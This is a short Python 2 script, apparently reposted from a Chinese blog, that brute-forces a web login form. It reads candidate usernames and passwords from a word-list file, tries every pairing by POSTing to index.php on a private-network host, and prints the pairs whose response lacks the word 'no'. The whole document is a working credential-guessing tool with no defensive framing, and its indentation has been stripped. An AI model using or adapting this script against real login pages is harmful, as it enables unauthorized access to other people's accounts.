import httplib,urllib
import string
def rf():
fp=open('1.txt','r')
for i in fp:
fp1=open('1.txt','r')
for j in fp1:
if(conn1(i.rstrip(),j.rstrip())):
print i.rstrip(),j.strip()
fp1.close()
fp.close()
def conn1(name,passwd):
params=urllib.urlencode({"name":name,"passwd":passwd})
header={'Content-Type':'application/x-www-form-urlencoded'}
conn=httplib.HTTPConnection('192.168.177.128')
conn.request("POST","/index.php",params,header)
res=conn.getresponse().read()
conn.close()
if res.find("no")==-1:
return True
if __name__=='__main__':
#conn1()
rf()
转载于:https://blog.51cto.com/6944194/1347934